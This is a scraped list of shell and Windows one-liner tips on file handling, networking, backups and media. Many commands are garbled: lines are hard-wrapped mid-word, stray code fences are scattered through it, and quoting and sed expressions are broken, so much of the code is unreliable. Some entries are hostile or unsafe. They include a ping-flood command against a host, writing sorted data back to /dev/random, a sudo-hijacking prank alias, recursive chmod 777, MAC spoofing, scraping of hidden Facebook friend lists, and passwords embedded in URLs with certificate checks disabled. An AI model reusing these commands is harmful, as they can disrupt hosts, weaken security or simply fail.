for i in *; do echo "$i"; done | shuf -n1

# create backup for all files from current dir
find . -maxdepth 1 -type f -print0 | xargs -0 -i cp ./{}{,.bak}

# Grep with one result at a time
search="whatyouwant";data=$(grep "$search" * -R --exclude-dir=.svn -B2 -A2);for(
(i=$(echo "$data" | wc -l);$i>0;i=$((i-6)) ); do clear;echo "$data"| tail -n $
i | head -n 5; read;done

# Replace spaces in filename
ls | while read -r FILE; do mv -v "$FILE" `echo $FILE | tr -d ' '`; done

# Show files and subdirectories in Terminal and copy output into a file
ls -la | tee ~/log.txt

# Sort files by size
ls -lS

# How To Get the Apache Document Root
grep -i '^DocumentRoot' /etc/httpd/conf/httpd.conf | cut -f2 -d'"'"

# Launch an Explorer window with a file selected
explorer /select,[file]

# simulates the DOS tree command that you might be missing on your Mac or Linux
box
find . -print | sed -e 's;[^\/*];|____;g;s;____|; |g'

# monitor the operation of a MySQL application in real time
mtop se -1

# List your MACs address
ip addr show eth0 | grep ether | awk '{print $2}'

# Add some color to ls
eval "`dircolors -b`"

# Get your local/private IP
localIP() { ifconfig ${1:-a} | sed '/Link encap\\|inet\\|6 addr;!d;s/Link encap.*
$/;/s/.*inet addr:\\([0-9\\.]*\\).*\\|/g;s/.*inet6 addr: \\(.*) .*/\\|/g' ; }

# Fast, built-in pipe-based data sink
command >&-

# Check failed logins from ipop service at some time given at linux
more /var/log/auth.log |grep "month"|grep ipop|grep "failed"|wc -l

# Generate SHA1 hash for each file in a list
shasum * >> SHA1SUMS

# Toggle the Touchpad on or off
xinput list | grep -i touchpad

# regex to match an ip
echo "123.32.12.134" | grep -P '([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]
\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])'

```

```

# List files in tarballs
find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file
: "; tar -tzf $file; done

# Open file with sudo when there is no write-permission
vi2() {for i in $@; do [ -f "$i" ] && [ ! -w "$i" ] && sudo vim $@ && return; do
ne; vim $@}

# Turn Regular quotes (") into curly quotes (??)
smartypants | php -r "echo mb_decode_numericentity(file_get_contents('php://stdi
n'),array(0x0000,0xFFFF,0x0000,0xFFFF),'UTF-8');"

# Display the open files for a process in AIX
svmon -P [PID] -O filename=on

# Get own public IP address
wget -qO- whatismyip.org

# find files containing specific pattern on filename and specific patterns in it
s content, open all in textmate
find . -name "*noticia*" -name "*jhtm*" -name "*.tpl" -exec grep -li "id=\"col-d
ireita\" \" '{}' \" \"; | xargs -n1 mate

# Nice way to view source code
over myscript.sh

# Get all IPs via ifconfig
ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1

# bash / vim workflow
vim -

# shutdown pc in a 4 hours
echo "shutdown -h now" | sudo at now + 4 hours

# Uptime in minute
awk '{print $0/60;}' /proc/uptime

# Display lines with a given string
look mysql /etc/group

# ssh autocomplete
complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^s
sh //'`);" ssh

# get one field inside another that is delimited by space
cut -f2 file.txt | cut -d " " -f1

# Automate ssh public key setup without ssh-copy-id
echo 'Host or User@Host?:'; read newserver && ssh-keygen -N "" -t rsa -f ~/.ssh/
id_rsa ; ssh $newserver cat <~/.ssh/id_rsa.pub ">>" ~/.ssh/authorized_keys ; ssh
$newserver

# bash / vim workflow
zsh$ M-v

# Random Cyanide and Happiness comics from explosm.net
cyanide(){ display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po

```



```

'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; }

# Takes a multi line df or bdf and turns it into just one line
bdf | awk '(NF<5){f=$1; next} (NF>5){f=$1} {print f, $2, $3, $NF}'

# Lists the size of certain file in every 10 seconds
while true ; do du -sk testfile ; sleep 10 ; done

# List files in tarballs
for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done

# sshdo, an alternative to sudo
alias sshdo='ssh -q -t root@localhost -- cd $PWD \&\& sudo'

# List files with quotes around each filename
ls | sed 's/./"/&"/'

# Extract .daa files with PowerISO
./poweriso extract $USER/file.daa / -od $USER/file_extracted

# Scan for viruses
clamscan -ir --bell ~user/

# Get My Public IP Address
curl http://whatismyip.org

# Undo
[Ctrl+u]

# Edit all "text" files (exclude binary and directories) in the current director
Y
ls . | xargs file | grep text | sed "s/\(.*\):.*\/\1/" | xargs gedit

# List alive hosts in specific subnet
for i in 192.168.1.{1..254} ; do if ping -c1 -w1 $i &>/dev/null; then echo $i a
live; fi; done

# Real full backup copy of /etc folder
tar -cf - /etc | tar -xf - -C </destination/folder>

# wmi
wmic -U DOMAIN/user --password='password' //IP_HOST "select Caption,CSDVersion,
CSName from Win32_OperatingSystem" | grep Windows

# free swap
free -m | awk '/Swap/ {print $4}'

# Find all dot files and directories
ls -a | egrep "^\.w"

# Facebook e-mail header X-Facebook IP deobfuscator
echo "X-Facebook: from zuckmail ([MTI3LjAuMC4x])" | cut -d \[ -f 2 | cut -d \] -
f 1 | openssl base64 -d

# tar+pbzip2 a dir
tar -c directory_to_compress/ | pbzip2 -vc > myfile.tar.bz2

# mount a msdos formatted floppy disk
mount -t msdos /dev/fd0 /mnt/floppy

```

```

# Remove Thumbs.db files from folders
rm -fr `find . -name Thumbs.db`

# Download random gifs from gifbin.com
site="http://gifbin.com/"; for i in $(wget -qO- "$site"random| sed -r "s/^(bin
\/.+\.gif).*$/\1/m" | grep "^bin"); do wget -c "$site$i"; filename=`basename $i`
; [ `identify $filename | wc -l` -gt 1 ] || rm -f $filename; done

# Run Remote GUI Programs Using SSH Forwarding
ssh -C -X user@remotehost gui_command

# Outputs a 10-digit random number
n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n

# Check whether laptop is running on battery or cable
cat /proc/acpi/battery/*/state

# get msn buddy's info
purple-remote "msn:getinfo?screenname=xxx"

# mkdir & cd into it as single command
echo 'mkcd() { mkdir -p "$@" && cd "$_"; }' >> ~/.bashrc

# Reorder file with max 100 file per folder
files -type f | xargs -n100 | while read l; do mkdir $((++f)); cp $l $f; done

# Get your external IP address
curl icanhazip.com

# count how many cat processes are running
ps -a |grep cat |wc -l

# View facebook friend list [hidden or not hidden]
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?
u=Bilal Butt&__a=1' |gawk -F'\t\':"\' -v RS='\", ' 'RT{print $NF}' |grep -v '\n
\':"\' |cut -d, -f2

# Inserting a decimal every third digit
perl -lpe'1 while s/^(([-+]?\d+)(\d{3})/$1.$2/'

# tail, with specific pattern colored
tail -f file | egrep --color=always $\|PATTERN

# Unmount locked filesystems.
umount -l /media/foo

# Rickroll your users who try to sudo
echo "alias sudo=\"aplay annoyingsoundfile.ogg\" >> .bash_aliases

# cut with tab or other white space chars
cut -f1 -d"<TAB>"

# Updating twitter with from curl
curl -u userid:password -d status="New Twitter Message" http://twitter.com/statu
ses/update.xml

# Convert images (foo.gif => foo.jpg)
for i in **/*.gif; convert $i $i:r.jpg

```

```

# count how many cat processes are running
pgrep -c cat

# Get the rough (german) time from Twitter by @zurvollenstunde
printf "%02d:%02d\n" $(curl -s "http://search.twitter.com/search?from=zurvollens
tunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//
/g' | xargs )

# shows the space of a folder in bytes ever two seconds.
watch "df | grep /this/folder/"

# Get your external IP address
echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifcon
fig.me 80 | sed -n '/^[0-9]/p'

# Remove executable bit from all files in the current directory recursively, exc
luding other directories, firm permissions
find . -type f -exec chmod 640 {} ';'

# x86info
x86info

# Play audio file
play $audio_file

# Pipe ls output into less
function lsless() { ls "$@" | less; }

# import database
mysql>use DBNAME; mysql>source FILENAME

# kill a windows process
wmic process where (caption="notepad.exe") call terminate

# counting a particular character in a file
fold -w 1 <file> | grep -c <character>

# Find/Replace in a bunch of files and keep a log of the changes
find . -type f | xargs grep -n "Old Text" | tee filesChanged.txt | sed 's/:.*$//
' | xargs sed -i 's/Old Text/New Text/g

# sorts /dev/random
find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | d
d of=$0' {} \;

# Create a mysql database from the command line
mysqladmin -u username -p create dbname

# startx output to log file
startx > startx.log 2>&1

# Mount a disk image (dmg) file in Mac OSX
hddid somefile.dmg

# count directory space usage in current directory with sort for microsoft windo
ws
diruse /,/M/* .|sort

# Recursively delete .svn folders

```

```

find . -name .svn | xargs rm -rf

# Alternative size (human readable) of directories (biggest last)
function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M
G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}";
break; fi; size=$((size/1024)); done; done; }

# Get the weather forecast for the next 24 to 48 for your location.
curl -s http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@
:-<YOURZIPORLOCATION>}|xmlstarlet sel -E utf-8 -t -m //forecast/txt_forecast/for
ecastday -v fcttext -n

# alias ps | grep
alias kfire='for i in `ps aux | grep [F]irefox `; do echo $i; kill $((($i)); done
; '

# Kill process by searching something from 'ps' command
ps ux|grep <process name>|awk '{print $2}'|xargs -n 1 kill

# Not so simple countdown from a given date
watch -tn1 'bc<<<`\date -d\'\'friday 21:00\'\' +%s`-`\date +%s`"|perl -ne\'\'@p=g
mtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);\'\'

# Alias to connect every single node of cluster
alias connectAllMachines='Terminal --maximize -e "ssh server1" --tab -e "ssh se
rver2" --tab -e "ssh server3"'

# Checking total connections to each Ip inserver
netstat -alpn | grep :80 | awk '{print $4}' |awk -F: '{print $(NF-1)}' |sort |
uniq -c | sort -n

# Display a random man page
dir="/bin"; man $(ls $dir |sed -n "$(echo $(( $RANDOM % $(ls $dir |wc -l | awk "
{ print $1; }" ) + 1 )) )p")

# ssh Publickey auf remote Rechner an?ngen
cat .ssh/id_rsa.pub | ssh user@server "cat >>.ssh/authorized_keys2"

# kerberos authentication
kinit username

# Display a random man page
man $(ls /bin | sed -n $((RANDOM % $(ls /bin | wc -l) + 1))p)

# Say no to overwriting if cp -i is the default alias.
yes n | cp something toSomeWhereElse

# Start Chrome with socks on Mac OSX
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --proxy-server=so
cks5://HOST:PORT

# remove file named 1 after fat fingeriiing :w! in vi
:rm 1

# Quickly determine lines in terminal
_llvm=100; while [ $_llvm -gt 1 ]; do echo $_llvm; _llvm=$((($_llvm-1))
; done

# Kill an orphan console
skill -KILL -t ttyS0

```

```

# Change directory by inode
cd $(find -inum inode_no)

# Mount a windows partition in a dual boot linux installation...[Read Only Mounting]
mount -o auto -t ntfs /dev/hda1 /windows

# Script to rip the audio from the youtube video you have open in firefox
video=$(ls /tmp | grep -e Flash\w*); ffmpeg -i /tmp/$video -f mp3 -ab 192k ~/ytaudio.mp3

# Recompress all text files in a subdirectory with lzma
find . -name '*.txt' | grep -v '\.lzma$' | xargs -n 1 lzma -f -v -3

# recursive remove all htm files
rm **/*.htm

# Get the size of every directories and files in a path recursively
for i in $(ls /the/path); do du -hs /the/path/$i; done

# Make all files in your current directory lower case
rename 'y/A-Z/a-z/' *

# whois multiple domains
for domain in `cat list_of_domains.txt`; do echo $domain; whois $domain >> output.txt; done

# view user friends
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\t':"'\ -v RS='\n','RT{print $NF}' |grep -v '\n':"'\ |cut -d, -f2

# List SMTP connections by host
cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n | tail

# show all upd tcp an icmp traffic but ssh
tcpdump -n -v tcp or udp or icmp and not port 22

# Write and run a quick C program
alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c & ~/.stdin.exe'

# Using wget to receive an XML atom feed of your Gmail inbox
wget -O - 'https://USERNAMEHERE:PASSWORDHERE@mail.google.com/mail/feed/atom' --no-check-certificate

# Get iPhone OS firmware URL (.ipsw)
get-ipsw(){ curl -s -L http://phobos.apple.com/version | sed -rn "s|[\t ]*<string>(http://appldnld\.apple\.com\.edgesuite\.net/content\.info\.apple\.com/iPhone[0-9]?/[^\t ]*/$1$2_$3_[A-Z0-9a-z]*_Restore\.ipsw)</string>|\1|p" | uniq; }

# delete files older than 1 month in a directory
require 'time';backup_dir = '/path';Dir.glob(backup_dir+"/*.sql").each{ |f| filetime = Time.parse(`mdls -name kMDItemContentCreationDate -raw #{f}`);monthago = Time.now - (30 * 60 * 60 * 24);`rm #{f}` if filetime < monthago }

# Show a config file without comments

```

```
grep -Pv '^\S*(#|$)'  
  
# Running VirtualBox as headless  
nohup VBoxHeadless -p 3052 -startvm ServidorProducao &  
  
# Execute a command with a timeout  
timelimit -t100 somecommand  
  
# Convert unix timestamp to date  
echo $EPOCH|awk '{print strftime("%c",$1)}'  
  
# greps the man pages to find utilities  
apropos keyword  
  
# tar - extract only one file  
tar xzvf package.tar.gz --strip 1  
  
# Look for a string in one of your codes, excluding the files with svn and ~ (te  
mp/back up files)  
find . -type f -exec grep StringToFind \{\} --with-filename \;|sed -e '/svn/d'  
|sed -e '/~/d'  
  
# find the device when you only know the mount point  
df | grep -w /media/KINGSTON | awk {'print $1'}  
  
# Remote Screenshot  
export DISPLAY=":0.0" && import -window root screenshot.png  
  
# Add a list of numbers  
paste -sd'+ ' file|bc -l  
  
# Generate a random password 30 characters long  
pwgen 30  
  
# if you are alone and have to determine which switch port your server ends ...  
here we go  
for i in $(seq 300) ; do ethtool -s eth0 autoneg on ; sleep 2 ; done  
  
# delete all tasks scheduled for the local computer  
schtasks /delete /tn * /f  
  
# Count httpd processes  
pidof httpd | wc -w  
  
# Show the number of current httpd processes  
netstat -l -p --tcp | egrep -e 'www.*[0-9]{3,4}\/(apache2|httpd)' | awk '{print$  
7}'  
  
# get a list of top 1000 sites from alexa  
curl -s -O http://s3.amazonaws.com/alexa-static/top-1m.csv.zip ; unzip -q -o top  
-1m.csv.zip top-1m.csv ; head -1000 top-1m.csv | cut -d, -f2 | cut -d/ -f1 > top  
sites.txt  
  
# kills all php5-fcgi processes for user per name  
pgrep -u username php5-fcgi | xargs kill -9  
  
# xxcopy everything from one Windows box to another  
xxcopy x:\folder1 y:\folder2 /s /h /tca /tcc /tcw /yy
```

```

# unzip all zip files under a current directory in the directory those files were in
for f in `find ./ -name "*.zip"` ; do p=`pwd`; d=`dirname $f`; cd $d; b=`basename $f`; unzip $b; cd $p; done

# Outputs size of /example/folder in human readable format.
du -hs /example/folder/

# get debian version number
lsb_release -a

# uninstall Air on Ubuntu
sudo dpkg -P $(dpkg -l | grep -i adobeair)

# Backup the first 1MB of your volume
dd if=/dev/sdX of=/root/sdX.bin bs=1M count=1

# See where MySQL is looking for its config files
mysql -? | grep ".cnf"

# Empty a file of contents
> [filename]

# Print out "string" between "match1" and "match2"
echo "string" | sed -e 's/.*match1//' -e 's/match2.*$//'

# Get the mac address of eth0 in uppercase minus the colons
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}' | tr 'a-z' 'A-Z' | sed -e 's://g'

# Convert wav to mp3
lame rec01.wav rec01.mp3

# Convert .wav audio files to .gsm format
sudo sox <file name>.wav -r 8000 <file name>.gsm

# List all files in current directory by size
du -sh *

# List all symbolic links in current directory
ls -l `ls -l |awk '/^l/ {print $8}`

# Convert .wav audio files to .gsm format
sudo sox <file name>.wav -r 8000 <file name>.gsm

# Remove blank lines from a file and save output to new file
sed '/^$/d' file >newfile

# See where a shortened url takes you before click
curl -s http://urlxray.com/display.php?url=http://tinyurl.com/demo-xray | grep -o '<title>.*</title>' | sed 's/<title>.*--> \(.*\)</title>/\1/g'

# Returns the absolute path to a command, using which if needed
get_absolute_path() { echo $1 | sed "s|^([^\./]*\.)|$(pwd)/\1|;s|^([^\./]*\.)$|$(which -- $1)|;s|^$|$1|"; }

# Move files around local filesystem with tar without wasting space using an intermediate tarball.
tar -C <source_dir> -cf . | tar -C <dest_dir> -xf -

```

```
# open the last folder created
cd $(ls -lt --color=never | head -1)

# Display animated hourglass in the shell to indicate ongoing processing
hourglass(){ s=$(($SECONDS +${1:-10}));(tput civis;while [[ $SECONDS -lt $s ]];d
o for f in '|' ' ' '\-' /;do echo -n $f&&sleep .2s&&tput cub1;done;done);tput cn
orm; }

# Save iptables firewall info
sudo iptables-save > /etc/iptables.up.rules

# Counts the number of TODOs in files with extension EXT found from the current
dir.
find . -name "*.EXT" | xargs grep -n "TODO" | wc -l

# Delete an hard disk entry in Virtualbox registry
sed -i '/Centos/d' VirtualBox.xml

# Change default values on Foundry (Brocade) RX and MLX BigIron L3 (routers & sw
itches)
system max <some value>

# Place a filename at the beginning of the line to make it easier to edit the se
arch at the end of the command. Place a filename at the beginning of the line to
make it easier to edit the search at the end of the command.
Place a filename at the beginning of the line to make it easier to edit the sear
ch at the end of the command.

# let w3m usecookie
alias w3m='w3m -cookie'

# Important 'default VLAN' command, for Foundry (Brocade) RX and MLX BigIron L3
(routers & switches)
no untag

# Displays a 3-Month Calendar
cal -3

# Convert all .wav to .mp3
ls *.wav | while read f; do lame "$f" -o "$(echo $f | cut -d'.' -f1)".mp3; done;

# 802-1w (RSTP) 'root port' hard code, Foundry (Brocade) RX and MLX BigIron L3 (
routers & switches)
rstp priority 0

# remove all files except *.txt
rm !(*.txt)

# tacacs+ Auth to (Cisco ACS) from Foundry (Brocade) RX and MLX BigIron L3 (rout
ers & switches)
aaa authentication login default local tacacs+

# to clone an NTFS partition
ntfsclone

# fiber power levels on Foundry (Brocade) RX and MLX BigIron L3 (routers & switc
hes)
show optic <slot #>
```



```

# Firefly quotes
yum install fortune-firefly; fortune

# create an empty NTFS partition
mkntfs /dev/hda1

# resize a NTFS partition
ntfsresize --size X[k,M,G] /dev/hda1

# forcing Windows to do the scandisk during boot
ntfsfix /dev/hda1

# Mount an external FAT32 USB HDD
sudo mount -t vfat /dev/sdb1 /mnt/sdb1

# List files that DO NOT match a pattern
ls *[^p][^a][^t]* ; # or shopt -s extglob; ls !(*pattern*)

# show your private/local ip address
ifconfig | sed '/.*addr.*Bcast.* / ! d' | sed 's/.*addr:\([0-9\.]*\).*\/\1/'

# Get all members from one AD group and put them in another AD group
for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do dsquery group -name TargetGroupName | dsmod group -addmbr %i

# show your private/local ip address
ifconfig | awk '/inet addr/ &&! /127.0.0.1/{ gsub(/addr:/,""); print $2 }'

# Toggle the Touchpad on or off
if [ $(synclient -l | grep TouchpadOff | awk '{print $3}') = "2" ]; then synclient TouchpadOff=1; elif [ $(synclient -l | grep TouchpadOff | awk '{print $3}') = "1" ]; then synclient TouchpadOff=2; else synclient TouchpadOff=2; fi

# A bash prompt which shows the bash-version
PS1="$BLUE[$CYAN\u$BLUE@$CYAN\h$WHITE-bash \v:$GREEN\w$BLUE]$WHITE \$ "

# Mac, ip, and hostname change - sweet!
ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere)

# Generate an XKCD #936 style 4 word password
cat /usr/share/dict/words | grep -P ^[a-z].* | grep -v "'s$" | grep -Pv ^.\{1,15\}$ | shuf -n4 | tr '\n' ' ' | sed 's/$/\n/'

# close stderr
cat aaaaaa 2>&-

# Recursive file content search
find . -name *.php | xargs grep -i -n 'TERM'

# YES = NO
yes | tr 'y' 'n'

# Copy all JAR files to folder /tmp
find . -iname "*.jar" -exec cp '{}' /tmp/ \;

# Renames all files in the current directory such that the new file contains no space characters.

```

```

rename 's/ /_/g' *

# Search through files, ignoring .svn
find . -type f -print0 | grep -vzZ '.svn' | xargs -0 grep --color -nEHi "SEARCHT
ERM"

# prints long line
sed -n '/^\.\{10\}/p'

# Search through your command line history
set -o vi

# convert vdi to vmdk (virtualbox v3.2 hard disk conversion to vmware hard disk
format)
vboxmanage clonehd --format VMDK <source image|uuid> <destination image>

# Edit a file using vi or vim in read-only mode
vi -R filename

# find a class or file within a number of jar files
for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; do
ne;

# Recursive and alphabetical orderly cp
for file in `find * | sort -n | sed 's% %%?%g``; do echo "${file//?/ }"; cp --pare
nts "${file//?/ }" /destinity_folder/ ;done

# get today's xkcd
a=`curl http://xkcd.com 2>/dev/null | grep -iE 'src=.*imgs.xkcd.com/comics/'`; b
=`echo ${a#*src=}`; eog ${b%*""}

# kill some process (same as others) but parsing to a variable
tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill;

# Download a complete podcast
wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espec
tador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g`

# Quickly backup your current directory
alias backup_dir='mkdir -p .backup && cp * .backup'

# Show directories in the PATH, one per line
echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~
/^\//{$1=pwd}/"$1}{print $1}'

# convert all WAVs from any format (MS ADPCM) to PCM
for file in $(find -type f -iname "*wav"); do mv $file "$file"_orig.WAV; mplayer
-ao pcm "$file"_orig.WAV -ao pcm:file=$file; done

# Useful if you need to see compiler errors while edit a code
alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear'

# Get top 10 largest directories under cwd
du | sort -n | tail -11 | head

# Search and replace in multiple files and save them with the same names - quick
ly and effectively!
for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $fil
es.new && mv $files.new $files; done;

```

```

# Get a text on a position on the file and store in a variable with a specific separator
TIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' )

# Function to remove a password from a PDF
PdfPasswordDecrypt(){ for i; do qpdf --password=<YOUR PASSWD> --decrypt "$i" "new$i"; done; }

# Ping flood
sudo ping -f -s 56500 192.168.1.100

# Set Permission to user and group
chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs

# On Linux boxes, sets the
gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string "Super_L"

# Read Nth column (e.g. 2nd column) of a row of data in a file that has a specific word (e.g. HOME) on that row and extract the last delimited value for the specified delimiter (e.g. /)
grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY awk '/HOME/ {print $2}' data.txt | awk -F '/' '{print $NF}'

# Go to the last directory invoked on command line
cd !$

# Individually compress each file in a directory
gzip *

# ldapsearch -x -s base namingContexts -LLL
list the naming contexts of a directory server (no need to search in config files)

# Run ADSL connection
pon dsl-provider

# remove exact phrase from multiple files
grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring/"

# oneliner to open several times same application
for ((i=0;i<5;i++)) ; do xpenguins & done

# oneliner to open several times same application
for i in $(seq 5); do xpenguins & done

# Binary editor
bvi [binary-file]

# Terrorist threat level text
xmlstarlet sel --net -t -o "Terrorist threat level: " -v //@CONDITION http://is.gd/wacQtQ

# Checking DNS zone on Name servers directly
host <domain> <nameserver name>

# Suspend to ram
sudo /etc/acpi/sleep.sh sleep

```

```

# encrypt file.txt using myfriend's pubkey && add your signature
gpg -ser 'myfriend@gmail.com' file.txt

# Get the browser user-agent
curl sputnick-area.net/ua

# http://xname.cc/text/video-streaming-on-wan.pdf    (encode.sh)
./encode.sh [ h264 | xvid | theora | mpeg4 ]

# Press Any Key to Continue
read enterKey

# Check your ip public using dyndns.org
wget http://checkip.dyndns.org/ -q -O - | grep -Eo '\<[[:digit:]]{1,3}(\.[[:digit:]]{1,3}){3}\>'

# Launch a Daemon on OSX tiger
launchctl load /Library/LaunchDaemons/<plist config filename>.plist

# Duplicate a directory tree using tar and pipes
(cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -)

# generate random password
openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" | cut -c 1-8 | pbcopy

# sendmail via commandline
cat file.txt | sendmail -F myname -f admin@mysite.com guest@guest.com

# tar per directory
cd <YOUR_DIRECTORY>; for i in `ls .`; do tar czvf "$i".tar.gz "$i" ; done

# backup and remove files with access time older than 5 days.
tar -zcvpf backup_`date +%Y%m%d_%H%M%S`.tar.gz `find <target> -atime +5 -type f` 2> /dev/null | parallel -X rm -f

# What is my ip?
alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp"

# BASH: Print shell variable into AWK
MyVAR=84; awk '{ print "'$MyVAR'" }'

# View last 100 lines of your SSH log
tail /var/log/auth.log -n 100

# Unique number by Mac Address
UNIQUE_BY_MAC=$(ifconfig |grep eth0|awk '{ print strtonum("0x"substr($6,16,2)) }')

# List installed hardware
kudzu -p

# psgrep
psgrep() { if [ ! -z $1 ] ; then echo "Grepping for processes matching $1..." ps aux | grep -i $1 | grep -v grep else echo "!! Need name to grep for" fi }

# Twitter from commandline with curl
curl --basic --user username:password --data status="Twitter from commandline with curl" https://twitter.com/statuses/update.xml

```

```
# Show the processes that use old libs and need a restart
lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u

# Fill up disk space (for testing)
dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / |
awk 'NR!=1 {print $4-100}')

# Reconstruct standard permissions for directories and files in current director
Y
chmod -R u=rwX,go=rX .

# Repeat last executed command
!!

# aliases for apt-get
alias agi="sudo apt-get install" #package_names

# geoiip information
geoiip() { lynx -dump "http://www.geoiptool.com/en/?IP=$1" | sed -n '/Host Name/,
/Postal code/p' ; }

# commit message generator - whatthecommit.com
lynx -dump -nolist http://whatthecommit.com/|sed -n 2p

# HTTP Caching (gateway/reverse proxy cache for webapps)
response.headers['Cache-Control'] = 'public, max-age=60';

# urlencode
(Command too long..See sample Output..)

# View new log messages in real time
tail -f /var/log/messages

# Tar Pipe
tar cvf - /src | ( cd /dest ; tar xvf - )

# Join lines
echo -e "aa\nbb\ncc\nddd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta"

# Figure out what shell you're running
ps ho command $$

# backup the old files
tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar
-xzpsC /data/bkup

# Use FileMerge to compare two files
opendiff <file1> <file2>

# Start a quick rsync daemon for fast copying on internal secure network
rsync --daemon --port 9999 --no-detach -v --config .rsyncd.conf

# Random Decimal in the interval 0 &#8804; n < 1 and 2d6 dice roll
awk 'BEGIN { srand(); print rand() }'

# Return IP Address
ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}'
```

```
# Shows users and 'virtual users' on your a unix-type system
ps -axgu | cut -f1 -d' ' | sort -u

# Find 'foo' in located files
locate searchstring | xargs grep foo

# Execute extension with chrome
wget -O gspliter.crx "https://clients2.google.com/service/update2/crx?response=
redirect&x=id%3Dlnlfpoefmdfplomdfppalohfbmlapjjo%26uc%26lang%3Den-US&prod=chrome
&prodversion=8.0.552.224" ; google-chrome --load-extension gspliter.crx

# Backup a file with a date-time stamp
buf () {oldname=$1; if [ "$oldname" != "" ]; then datepart=$(date +%Y-%m-%d); fi
rstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$first
part/$firstpart.$datepart/`; cp -i ${oldname} ${newname}; fi }

# Regex or
egrep '(expr1|expr2)' file

# Execute AccuRev pop command to retrieve missing files from a workspace.
accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop

# Show local IP
ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1

# Remove unused libs/packages in debian-based distros
apt-get remove `deborphan`

# Move a file up a directory.
mv file_name.extension ..

# Pipe music over netcat with mpg123
#Client# cat "The Meters - People Say.mp3" | nc -vv 192.168.1.100 8080; #Server#
nc -vv -l -s 192.168.1.100 -p 8080 | mpg123 -v -

# print line and execute it in BASH
<TBD>

# Apache server config file
apache2ctl -V | grep SERVER_CONFIG_FILE

# Return IP Address
awk '/inet end/ {print $3}' <(ifconfig eth0)

# Recursive chmod all files and directories within the current directory
find . -exec chmod 777 {} \;

# determine if tcp port is open
nc <ip> <port> -v

# Get your external IP address
curl whatismyip.org

# Find files containing "text"
grep -lir "text to find" *

# rm all files you grep
find . | grep deleteme | while read line; do rm $line; done

# set fan speed (ATI cards)
```

```

aticonfig --pplib-cmd "set fanspeed 0 <number>"

# Reset scrambled screen
cat [ENTER]^V^O[ENTER]^D

# Display directory hierarchy listing as a tree
ls -R | grep : | sed -e '\''s/:$//\'' -e '\''s/[^-][^\/]*\//--/g\'' -e '\''s/^
/ /'\'' -e '\''s/-/|/'\''

# Copy All mp3 files in iTunes into one folder (Example: Music on Desktop) (Os X
)
find ~/Music/iTunes/ -name *.mp3 -exec cp {} ~/Desktop/Music/ \;

# recursively delete .svn folders from a directory
rm -rf `find . -type d -name .svn`

# Stage added, updated, and DELETED files for commit
git add -u

# Testing php configuration
echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php

# Copy directories and files just like
xcopy /e/h/y /z/i /k /f src dest

# Selecting a random file/folder of a folder
ls -1 | awk 'BEGIN{srand()} {x[NR] = $0} END{print "Selected", x[1 + int(rand()
* NR)]}'

# Monitoring a port connections
while true ; do sleep 1 ; clear ; (netstat -tn | grep -P ':36089\s+\d') ; don
e

# Echo several blank lines
yes '' | head -n100

# MS-DOS only: Loop over array of system variable
